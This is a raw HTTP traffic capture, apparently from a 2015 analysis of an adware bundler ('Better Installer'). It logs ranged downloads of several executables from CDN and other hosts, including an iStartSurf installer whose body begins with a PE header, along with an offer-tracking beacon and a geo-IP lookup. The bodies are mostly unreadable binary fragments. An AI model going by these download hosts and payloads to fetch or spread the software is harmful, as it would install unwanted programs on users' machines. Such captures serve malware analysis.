j......Do@eE"T b._A.5.6..Fr~6:!"b.R......m....p[Ux......&w,....1B..N.q
: .....GZ"E.%.K/.9..m*g.Wy.B...4q../m..u.I....[..t:......k.f....Tu..g.
I.\.q.-i....K...... ...............R.'.D.f.'....M.zn.u. \..CI[lx...e.\
...R......}0D\3..C..g/O.DQ.{B.G.0.......)....$l..9..U.au1.....m.F....&
gt;,Z-tW.D..y.Y..|....;.....C.n75.c$..yGv....&.....}'.ne......5u...{:.
....2A..n(...X.....2Q.....t.l........g>.f.}2.D#..H....r.......O....
>2... Kr....U.......*.a............}X|..!..p.C..s...k.u...pi.C.X`..
[!.m.N...N.M.C.Pli......8..n..........I...eA......,.*.m!.L.L.HGT..(.9.
..Zum..*.J...EL9.O.J.....O.c.....=....3.Sb.H...BP..._....bh ...j.....,
.:..QIF<..%..N.T.d..u.:..Y.....=....D.N.../IThm..Q....:.g.m......6.
X...s...{7K..<6,.....{...}.... U.....#...P.....0..&.v....[......1(`
...S.%d...XE..W...~..a..JM,@2..v..............v.tT.............>..e
...Y.}.oMY..........B.L.c.1..Z.Ve|U..>!7....H{..kI....:..S..p..
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=5500000-5749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32tk204qm4t-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:23 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: lqp4G9gwlKY4OXAniIn2vxtgUFqmo2tBvmflkcqaq /EnkICFxFlv/j0z7Uh6 KT m/HMhan1a4=
x-amz-request-id: A9477EE46BAC3A39
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 5500000-5749999/7590800
.%G...c..C....Q.........h.)...`........z..fr..]g...1.F....8 .7.....I.J
.B.0...[.......;0...\{`..1=....x;l.C|.eo...}A.7..*.w... .g.=.6....Sb..
t..;..h.4/~.4]....\A..#j.3..~.....C8)..oA$.D....L.9.......?F..O.1...Z.
.O.b.70w.e.}1...R.T..3...r..a..iv.H<..P.6l ..Y...}u.km.Q.FZ...7..[!
..].'.#0z.....Q.O.t..%.Q.xwWn.....|: ;....7mO....On. y.............L1Q
uY.p.N...=.Jtn.5d.P.iU.../{...9.>................9..@..&.K5MY.9,...
...}Z...`.[.lx!.....z >.....f.>.'}[email protected]..)'.....
g|..elT|O....n..o..w...{....)........1....-WX.....XY...P...[:.{s{"b...
..t...:.......:.;..1<.._.S.7...6....!&q-..<\.G7..,..H._...V...2.
............`...wM....ZF.<.g#[email protected].].I(...../..f...!B{?[._.Z..c
..g....\..9e.r...fz.S....N..d..v.I...t].....Cr..[....e...S......!....M
...>.e.d....W4..!.w.....@.....:n..{.b.8...l.2..<.K...}.-..ymW.Ss
fl.eBrQ....K....>.....'..E.n1........^.O.3.............C.H....S..Z.
...tTL.v....Z..D....!..M.8f.'q..a.5Guj........L.OM.\....G}.MvS...]..x.
I.[..sz.l..-.G0.U..a....b..L.-...;.&.l.S.A )....1. ..n...Mi...6...6w^.
...):.@#[email protected].!..?..x..?o.....%.P..............b<..7...
......0~i..i4u...9.#l....\.\..9.wCB.......u...G..........,..Q..k3~Zt.K
p?.~JW\./P..QUo`....e...s... R)t..[..f&.%..v.......Qq..|NIT......g..AE
....R..Z[h.O......jW^..>.%......L.g..........n...H.....RD....Q.v.L.
.e2".a.....?eX.._.q..;{\..M...<,..1I5?....05.:.;...f....R...Y(....r
.2U..Adu....F. ^[email protected]>......9...i........v...x
x.0.F.z h2 .Z.r..b.L.VoJ...t!cJ.a....4iV...=.Y..N].dZne.o '9l..:..
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=6250000-6499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32tk204qm4t-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:23 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: lqp4G9gwlKY4OXAniIn2vxtgUFqmo2tBvmflkcqaq /EnkICFxFlv/j0z7Uh6 KT m/HMhan1a4=
x-amz-request-id: A9477EE46BAC3A39
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 6250000-6499999/7590800
=c.#.....6..0........!Fu..~..:.........<9...........~.....i.3.K.MdH
...F.0.I.[.F.....Pt....3=W*..l..-.....|.C................q..!y.@...;.0
.u..R...u.......e..'.H.......C.'..l...s6 .X6"..X....b...%.7....Cb...Q.
."l a..V...LP8.'#.....#...;.(Z#....r.[....W|....QR.R...Ly:..#.;...j.w.
>.....7.[*.....7..v...7g...".1X....[..2... dh..K.......(...Y.......
bs._Qr...B...bA.6..@.~.u\.....%..4..9o.9...).D...\z=Zj".....Eay.}&%z. 
z..}.*.L.4..l\r.:.....5n.e*..V.J... D...j.~.zQ.......5B|.`.O..Xl....rA
.... l.`5dPj8 ....3.x...o\....'Y\oy..A......H..../..bt..u:J.3Q.F..I.jl
.....P...C..[...V.k......x....c.i..Hmu.. ...nL....g.Z$!...X.j.Z.*.1.J.
.xzQy{$...WS....{S..f:...4..\.....e.l........".i.s.&...;...]...%zL..J.
cI.y......G......B.`-.....d..j.&/..*......K...s...8..E.`....~.F.*.Es..
TO4..1.....L|B....h7....P.d..p.....N.0........N......i,&..;......M....
...sf.......1....jc..K...`I<......2..'....m...F.s....c..e10.!3jOu..
E....l.&.....#...g..@...[/...i...{....Y/...b.G..8...C.3..2%...;..d....
..zq..|.N....!..]..u...fu.6.....a....)i... ..I..L}.jMA...Y...).>.ZH
..<...S.[.....). .y..l...^...1?.YR........",..d?...C...".....?..k.W
..n5....$....~.@Y.~?...|..ZC.b...2.<.q._g.)..ZN.>......_.2#..r.q
...N...U]#\.}.b.L..Q.......y...._...e._H.......O.s.'...[|....I......S.
.\..Fp]..... ..Y..?...q.r,.#..sC...hU...Q.....6.8.TE.7....h?.Z....Z6.e
...U..vgK:....Q..[[email protected].{uD..}..Z......@.._.O..D,.....o....aZ.P...6
x2.9..... .....W...k...\.N..W.J5.&,..D%......M)......J.sm....o..`..#;.
...-1G........}..u,.c.).....'..Q.u.6C.mg............Y.z.....?.4...
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=6500000-6749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32tk204qm4t-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:23 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: lqp4G9gwlKY4OXAniIn2vxtgUFqmo2tBvmflkcqaq /EnkICFxFlv/j0z7Uh6 KT m/HMhan1a4=
x-amz-request-id: A9477EE46BAC3A39
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 6500000-6749999/7590800
.....M...7-=b``..F_..XX..G..9.RN...y.5.{..t.h..SU.W..<.".._.......Z
.].F.}..8...`zW.......&~.Q.&'.=]V....iq..xBjx......{..W....d...\.;....
.E....e.9$... ....T.e...Z,..Q9......]RV6Y1..=`.3..n......H......(...qr
...8..*......<.S.|g..]...(B..n..JO]v.q.l9.R!...{;.......1.~2.K..c..
....6A/."..voE...{.&...g..b....Du......_p6d..i..7..."0~...N......V..LQ
....Z.K..>...X.....3,[email protected].,...-
y..yt"...-....t..da.}....|....o`Y&{.?._.'..y.\..dt;n....c...qJZ6.S....
....".....R.J6.T......ME.o.NFX.....c..........j.?P.*X.....E..im.r#....
....1 ..c....a@. ..Up...$.:.......28.r.o.........8..'....|.......^....
]......./.A...r"..h.....#;...G.u..o...l...w.A.......P.^t.I....7.....2)
8.f..L6..}.OH.L.M&j.[.(3.'.K....%..x=.GE.;.<[email protected]^..
....T..-.......3..Z....l..w......[.....e..,......s4.....Q...i.u)....._
...... <..Y.B.Q......s....:.....K.{wv...Vk.C.qXc..8....b..]...[...Z
nJC .q.[.......@....>>..k./T...9K..eX....5\b..<b...K......N..
...R......S.F....6..h.etQ.[....f...1..8N.cM..4...........6..0.v.......
..Q....vnJ....2...(vh..o].'..h..db...|.`G.>....Z.......1."u.....*..
w;.C.L.^3.h.....m..V}.L.4.q.w.......4Z{%(-..O@&j......8`......C.J..hv.
.....|.F-......*'x.`.]!y..(...I.iv.Vv.I.v.....4.)[...<.J....aI_N...
~0)R....1l{.... .>.k..hEG-?..qO..K.X....f)....h......0q.?]..9.B.U..
......K...n..3.q...Q..Q...x9...L..v.< ..3..Nh3...R*.%T3.."...-..GrM
U..6.?..B.Nw{lo...f'.(Rh)k........w)^.)..dt..=.Q.T.[.l.2.E.....h..Z...
'.....].K;|k....8v.'...l...&]......v....h..t.^-...*.K.b.o"'.r}..oj
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=7000000-7249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32tk204qm4t-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:23 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: lqp4G9gwlKY4OXAniIn2vxtgUFqmo2tBvmflkcqaq /EnkICFxFlv/j0z7Uh6 KT m/HMhan1a4=
x-amz-request-id: A9477EE46BAC3A39
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 7000000-7249999/7590800
.1.....HG".P.J..~>c.*r...C$.@.....~...m.l.!.y.<.0BK....".V......
*....6..!n...O.mjwO~.<V..Q4......0.\.;.NM....7 1S.....~.l...,[|..E.
....8..#.L..^cI....f>i =[*Oj...Y.......3.."6d.b.....~..." D..f...iM
-^.bG..s.<....qL..y%.t..g..*.z..&........[.d.....I&q.d.....v{....(k
E.....\..O..W..J%.........Y.xi...k..A&........l..#..q..Li.7...(..;\-.C
E.. ..../c.*'.'....^..|8.?.......a...q..C.:..;W.....!1?T.".T.)..H...?.
g.Wx.K.py.....?......b6...w.^t.)?....W!H8.......#.....g.......A.*B. c;
...{y...-`..uKM{B...."C..S.S..v1j.'...6Y.p..j.x....he..m..fF..QhN.'.Zh
.r........vh....i...t:.....*i.......1..0J..6......A|.9..!%Vy.w7....'&g
t;$.......A.VDo......[PIJ7.*.n.1;...Q).=t...wj.Q^JDT...Z..2N../.......
s..7.A.....84. ...;x...V.j.QK.H<..GY......{H.W..s.`..r<q.c9....a
..'..c$...<*.v..S^n....>Q.\....3.T..Sd.u\../.....Zm.d6..........
..V.T.B.;{-1&.G. x..x].6....M.....8.......U.F..w .~TJ..#J...rVT.0.,V..
.....p.<3.......1..5.....TU.i..N..Q......H..Qb........=.a....Y.4._#
.C.,.q..c....D....h.d.A.Z..<.!h_1H...5..<.$....p{......O.......=
............u...s.{...J;..e......^cCS..E.......P....S.P!x~.HB.l...aqF.
:..i.hh.lP....]...'.v.d4"..]....3^.B..H~...j....X. .w=C..t,U..J.."...?
..n.B.:....|.4..].s....v....I]......=..g8B....(@.4'.H.;..]..t.....^..9
.2.5!h...n..*.C6.V..........m. .![..j4m.-.{`.[.Q..aW7..(v..._.Z..i[...
..qLT/..XV;.^....)r[.......`_....-......o*[email protected]..'p.
`..=)$...r.[..O....R.....Q......B..,..b....@V  ...1...E.....[...jW%...
.....(.H0=f ..........6......)....`.f../!....2....4..~..:.....%G.f
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=7500000-7590799
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32tk204qm4t-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:23 GMT
Content-Type: application/octet-stream
Content-Length: 90800
Connection: keep-alive
x-amz-id-2: lqp4G9gwlKY4OXAniIn2vxtgUFqmo2tBvmflkcqaq /EnkICFxFlv/j0z7Uh6 KT m/HMhan1a4=
x-amz-request-id: A9477EE46BAC3A39
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 7500000-7590799/7590800
~...8O.'..!...t..xO.5//o...v....oK.Q.$.Dg......(G2t..`0(.BQ|..U.......
.....x..in...H.sKv..M..a.s...b.?.3...C..d...v..0.tdo.I..{...~.z;..v...
>.9j.#.....W.t_|$......Na8..7.i..o.....-|...;.MPg.i.).A....=..X.".C
......K...Vk.u...M.a.v.6q.q.*..x<j.j.~?....A.3.h...Rb.s..[..E......
.....'Q.8"...P.KC.#.j....{<......)P...:Ka[VVc'.ao.......U...E....QM
(......At-........{|.H..FI..X.....,..8..cj....S.!/.0S.B..d...A.....C..
p8...|a..j.?...eZ..L...S.i... .N...v..Lb..**\U....Z.....|.`8...^t.^-J"
..:...:....#.G...{...}L.K..&.=j...%.e.Lq=$.Q..~M..CA.vy8.............i
EGkVccN....NZg\1n.}k.x.E......h..hM.Q.P..D....r.D.A....a.>\Y,[s.[2.
.8/.-.T.c..v|..E.F......f.]...X....%....G.....|8.#>.$...<..'....
.....%  ....x....G..Q..u.F.<vl..].(5v....-).(.Qzn.rT..*.<.....#.
......I.....l.j.j..K9.ThZr.....`dm..'1F*.b$R.G5......G.|....L0....D"./
..=.?~..;..."j6.ub.e....8.Tx...V......x...<..........$..m..5..H%1".
1H.8..;.......ef..8Y..........i.'..7y......u....).c{IQ.............l.z
p(F.I..q.lq:%.....K.....Ob.......Kk.^....<..K.vu..Y;...QM1:.......M
.1;.....4..t...~Y...Qf..t.-. N/.^..s,.8r..k..i.h.D...=I."R-.>......
.......w..p..aWgR.-...5y.3..xF....]2f........)<4-. .$2..L.E.......B
2^.8-......UY.55..[7.j}q...#k....N..v.).b2J....}psF....bvw~.!...../& X
.-.S...I.2 .......Qw-.u......0.....I.X.4...eQO..........v...i....#<
..?...j...P][email protected]~q.mw`O.lQ...).1*.P.(:}P}-..."....C
.e~7.)..N.j..6..3S.s,.j...S<...mw.]..._|..5S.....BD.%....8i....Q._.
...3.4?.S.9......@N...*..YMMz..M..G.Zul.-o.=c...l..E..z...K.....;&
<<< skipped >>>


GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=swiftrecord&tokyo_csrf2_key=f3c22d068a1d17734cfa48e754847d6d&tokyo_csrf2_timestamp=1429064846&slot_number=2&index_in_screen=1&index_in_session=2&display_height=170&0.7413327052117108 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/grooveload/grooveload/608d3271d8f3494f867a2b514a49c4e9?v=2.1&uid=608d3271d8f3494f867a2b514a49c4e9&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:27:36 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 15 Apr 2015 02:27:36 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET / HTTP/1.1
Host: ipgeoapi.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:48 GMT
Connection: keep-alive
Content-Type: application/json;charset=utf-8
Content-Length: 40
Server: thin 1.4.1 codename Chromeo
Via: 1.1 vegur
{"country_code":222,"country_name":"UA"}HTTP/1.1 200 OK..Date: Wed, 15
 Apr 2015 02:28:48 GMT..Connection: keep-alive..Content-Type: applicat
ion/json;charset=utf-8..Content-Length: 40..Server: thin 1.4.1 codenam
e Chromeo..Via: 1.1 vegur..{"country_code":222,"country_name":"UA"}..



GET /sd?is=sm HTTP/1.1
Range: bytes=130824-261648
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP002C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Thu, 16 Apr 2015 02:28:17 GMT
Date: Wed, 15 Apr 2015 02:28:17 GMT
Content-Range: bytes 130824-261648/523296
Content-Length: 130825
Connection: keep-alive
P..nz2P....D.=....P.#7.(.Y#./[email protected]}R.
..;B...,..vgQ4...W..O&....=.......s../y.wa.h.0p$.Vf.J...JD..j5........
..;...Y.....:k.tT=..x./....E..n...........$.s=.....)8p.E....B..c.$..Vj
;.,.t.D|6d.B.lp.>Y.C.........w.^|..Yx.P`N..j.RN.. ...~...Lok.....o.
.m%`,@,.....J.S...jM@.....#...J..h..U^...`.RV.,^z..1.d/>?.u.\......
{.r.l....M........e.&...[.6<..M.......h.^...H.)..6.........../.O.].
.......W}. ...$..x9.9.i.......)..~..b.T.........f...<8...C..$>YC
............t..R.....`.*[email protected]..`.....i...X.y
...1.KQ...w,d.....4Oxn....... (....6.MY. .u...".Q.Fn.D..<..o..M....
...&ZYJ.b5.24o...M...j..$...l>.`rlx~..~F6Zh..>..`...i.y..-.e....
.2.. ..CCkx...&.g.....j..Y......V.5...5.[....z.J.....R..x..u..i...|...
..Y.s..-s.1.>...F.....G...YWH.0.H.... .6=AQ.s.......%..3n.S.,..RY.D
%...l.G^..Ny.QMb...>..=.1:h8.2.......%.Qv.=.g.i.........{.~.o....5.
1g[...._ .C.o.=.....%...[..[..i....Z/.z..i..UP.......8...sX..Y......iY
I...C.(E7..S..9...H,L...e..^ N.7...x.Qp.J.T....xz}.....&.%...<,. ..
{s.=..Vp.........'./......Zv9.m..P.f..8....w...`..pJ....>a.'(....s'
...l|t.....WO ..)3......2.....F...@...#.v........29.#..w.-...nN..S"w..
b........4.HY.......>.v..?......>.#..\...sA.......W....^pS.z....
..9..%Q.l...7.}...[..*<  rq.L:....[.$7=.=B.mE-......)s..KM.........
..!..s..xa2...v3..uF...gO.G'.B.e..-...z#..ck{`.v....`gx....Eg........`
[email protected]...'.A.....Z...LVAQd.q..( ...........6...6....P"..~.9...
...47..T.....IE..([.S.O.|o.1{Ue..?C^-................T9P.pb..B#...
<<< skipped >>>


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=964747-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 321582
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Mon, 13 Apr 2015 07:44:50 GMT
Content-Range: bytes 964747-1286328/1286329
X-Cache: Miss from cloudfront
Via: 1.1 145c6344f127828b56f8c840dcc928e8.cloudfront.net (CloudFront)
X-Amz-Cf-Id: ZSRaCg6jIvVJgtPaaV8U3kBRyuSFYWwp4Pf-VHsyBGP0BL1n8jTWpQ==
y. ....x.L.z..V......i}|...V...$EN...Vd...b&b..*..39..6..<r.p<.F
vD.........S<g...{.q.W.%7..?.`b.TwPT.l.O....N.."...#_X.&.s.d0B..M.-
.$l. B*.........[.Y....Q>@.P...4;?<T..7....I..'.......i0\.S.....
..g..r..|S.Q....&..7.f....?.X....T4..._-...N.%.....L...eX.....=.....q4
.&..h.6.y....F..BJD....._.A.._iQ...8.#B..zI'US.;:.~.M...6.C..J.].....w
..S..D...."..s..). xh.6.....f.Z....mjy..i0.. ...p-)..h..Z.gu.&........
..a.6.......h..W.Jh...I.:....9.....&.....M.....$..8.i.I..Gk.y.F>#..
zLR.B........r.'..t..m...}.....5.;.I.z.KG... 3H....|....g..H..\G..{...
,X....w..=5.n{.....`e.VkW.....?......dn...".Z..i.a.....o.>.....s.f.
...V..&U...G..<....TK.P..  .K.....*...^....ZF....l/.#.&.7......dW..
3<C.QIL&...`H..?..E.V... I.k...[!j...s...ci.f.s....cd....<O..h..
.b.'...X..d.......Aq.S..;[..q..)(C...F~.;.>..........U4.=%.j|4...\.
...?..E..d....L........&5...W..qj.D\..$...h^F$.$.%g....`...$...L.....a
.4..N{..L..D....5..!.../.\..D...4...1zif_J...L.|...z~f.@]..Me._.H)....
u..8.Zl)....7...[.|d;...>.Q.b6...... I......[...}..]....~O.......q.
....M...........<.X~.....8.ysN.f3s....t........iq.w....[WI.\..I.\=.
...I.]...^.U.....h...wL.<.........$..F..v.a.y...&......9...L`O...n.
.#...0.l.. O.?..%..v...K..~.....'p..w~...?0.5t....i...Q2...RC%IY24.Uj.
.;:...FV=.K..9..%C..y9..y.1*..^..*..d..vp..s.z(Sg.ny..Y"...F^.U2....^|
..A.:<...X........Z..:_......1.y...,FLw...Dg.8HP....J.0.s....T...OX
.M..H......w.7t<..n.~.jn...g.4.>Y.y...XLtTO..A.......e.....{..7.
*....TP..5S..S..p.....7.lB.z...S....a{.I.......0.w.a4..$.E..k...5.
<<< skipped >>>


GET /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?c901c26979798c1c HTTP/1.1
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Tue, 24 Mar 2015 16:17:41 GMT
If-None-Match: "804047d4e66d01:0"
User-Agent: Microsoft-CryptoAPI/6.1
Host: ctldl.windowsupdate.com


HTTP/1.1 304 Not Modified
Content-Type: application/octet-stream
Last-Modified: Tue, 24 Mar 2015 16:17:41 GMT
ETag: "804047d4e66d01:0"
Cache-Control: max-age=86400
Date: Wed, 15 Apr 2015 02:31:32 GMT
Connection: keep-alive
HTTP/1.1 304 Not Modified..Content-Type: application/octet-stream..Las
t-Modified: Tue, 24 Mar 2015 16:17:41 GMT..ETag: "804047d4e66d01:0"..C
ache-Control: max-age=86400..Date: Wed, 15 Apr 2015 02:31:32 GMT..Conn
ection: keep-alive..



GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=71390-
User-Agent: Better Installer(Mozilla)
Host: d3hm9b8fv0d908.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache



V./...~0$=u.(.D/v[..8....X&3.<.n .._8V .. V...........|.O?.l..>.
5.......,:........-I..,,6...z.O .4Q...G.7.....Y....y.@:vG....-...&...s
..%..*.7|......&-...H..UZ.[(...(..ymW.0;J..m..$.*a...[..............J#
...`*=H..;u...>Iz.KQ..$...*z..}G..vq8./.W6.47... ......&.- .m......
.GpPfv:...^...*.bx.K.q.Yx}A............... ..#.J...r.]....M......hu...
..........5..D=.!A.Q.o...JZ...%.X....-F 4..e.gE..-.7..os.I.p......F$).
.q.t.r.7`.......w.....V~..Bo..E..#.F......T....I.=.K....l0H..Mi..N...%
..Q..4@[email protected].$/t..._b.{.]vd.ak..-VD....6HGC`..~......c`..(.....
.Aui.k....%I.'...`...v^...(\i[..ptFA..=.z8..:....%$..,.[.On*.....V....
&.Hb.X.:...Wn?._....(.....La.kRN.........;.W..s.v3.f.n....\.G.%.1.Hf..
.i.s....l...qe./....y.1a...tM......B!/......hN.......z....Q..c/.w.bK.r
a.qP...V.UD.......<.p.......p.p.e......f."..o."x,..M..l..GLW[.o?.g.
...Q..;.R|.BL.q....b.GT./.&S.....8.VQ...o..`........R$....:u0......F@.
..a....K.<.cx$M.m....'.....t..#b.zM.......0..p.`........c(d..mq...G
.$$./....g.@|7.y..Y......2.8.......z......F....@.}......4....?.S......
...L....m0_.Y.s....2..D..S.j...p.L.1..S...&..Z... .M.E...'}...p.1.U.m.
....B1.......2}.......l.A..........<.R.....?...)D...[.)......2_X...
...r..J#.......|...9.....g....P?d..............k.s.|..wK....''........
.:......&.J.-....E.i..z.o.*.G....m.~.%t.Xs]..z=J}..I...G'.vV.#z.RJ.b..
..h...n~qO...3L.G.../#F6.L...%k93.....O........|.....W.m.3..=.s..U...[
.....R......o.vOE....4zh\d..B.,...4.yk6E)Q.....)d#B.h......-....b .cQ.
...f..T..]R.G(....2....?...?..{..0.7..>..".............nE..]Y).
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=142780-
User-Agent: Better Installer(Mozilla)
Host: d3hm9b8fv0d908.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache



...|..F...x)[email protected]...\?....,..g6...Z2 .GY.3
....U8....F...........V.q....Y...'.^u....\.%.r~[....N_.V....J...;Xe.yL
.G..0.. $K&..][email protected]&P..ZC.........p{9o.v..9.?....h.b.!H..3.
.....$....K.A../.8....3..c".p.?.X_db.Q..VP_I.F..,....l.=.Q....}..7....
..|>..A.....o{k..f.$..{......W ......bs..b..!xk"...$q...P*B.T....!(
......=b7G.}.S?8.....J)..H.}g....j. >Xn.......Z.QpX..k"........Yd..
..^..$9&.yG;.....e!......#.....2v9C...j.....#..B..m|...Mp............l
....;...(.{.}.o.....p].\....Pp.:..._.g...iJ...j21..l...-z.`cRS^...4 J.
........>gL .7X_.x..1LJ....0.86........!Tn\.......7V.....Y......W./
..*....n2.....3D..lg....`......."@..\WN..).2....C.C.....,.....Q\..W. .
...QU...H.?;?..l../z..x.U...,D..<^9.X..>r.p...e.....x..BU.:..8d.
f.....i...8.....l]........._.p...,.U...,H.q..x.Y.....NK.......6...V8l.
....Ot...)vm.~...[.UT?.@~..;.%...............9...)..`....{.n..V.......
K...hb...........8..3$........6...>..J..._.cW./...zw;.G....C....zg.
.....j..9...3.].j....]..G..~.C#.g.....=.....1......R....!.}2..]=.]..T.
n....VZ..|.x..r...)/Zp....2..2...I;....`."....;....8,.[4"....#..;...l%
.l..|Q..1~> ...}..C ....(~...,(.*[email protected].%o:.2..U.|.(Ov..c
. Z..w.I.._.Op.....)..&...s......)....-.I:...S.....Q.%.C....80en...:..
!.........fS.....T...>TA.>D.......U}L|...-.(..>cR .d.G....8..
...kO...1"..s..1.e.0R..~..U...!.....b ........d.er./6.^....e9C....[4H.
......j...]j....Ot....u.H..B....y..,.mt...]..8.8..W..y..B%Eh......hv2.
..}i..~.^t Vm.{..$..V.h..v2...p"...[..L.(4......y......z.*...p.k..
<<< skipped >>>


GET /home/smt_istartsurf.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: VVV.girlliuxiaowei.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:28:19 GMT
Content-Type: application/octet-stream
Content-Length: 671328
Last-Modified: Fri, 10 Apr 2015 02:59:56 GMT
Connection: keep-alive
Expires: Sat, 18 Apr 2015 02:28:19 GMT
Cache-Control: max-age=259200
Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........*...D...D.
[email protected][email protected][email protected][email protected]...
[email protected]............
[email protected]............
@.......................................... ..............."..`.......
[email protected]................
...............text....P.......R.................. ..`.rdata...^...p..
.`...V..............@[email protected]...$O.......,[email protected].
....... ......................@[email protected]..................
@..B..................................................................
......................................................................
......................................................................
......................................................................
............................................U..j.h.NG.d.....P....T.H.3
.P.E.d......M..E....Q...e.P......M.......E.....j.j..M..K...j.j..M.Q.M.
.K....E......E..M.d......Y..]...U..Q.M..E.P.pn.....P.M..4.....].......
..........U..Q.M.j.j..E.P.M.Q.U.R.M..a.....]..............U..Q.M..M...
....E...]...........U..Q.M..M......P.E.P.M..d...P.M........]........U.
.....M..E..H.;M.r..M......;E.s..M.......U..B. E.;E.s..M..Q. U..U..M...
... E..E..E.;E.s..M..M.... U..E..H. M.;.w..M.......U..B. E. E..E..M..Q
..U. U..U..E..H.;M.s.j..U.R.M..?....E.;E.tS.M.Q.M.......E..E.P.M..
<<< skipped >>>


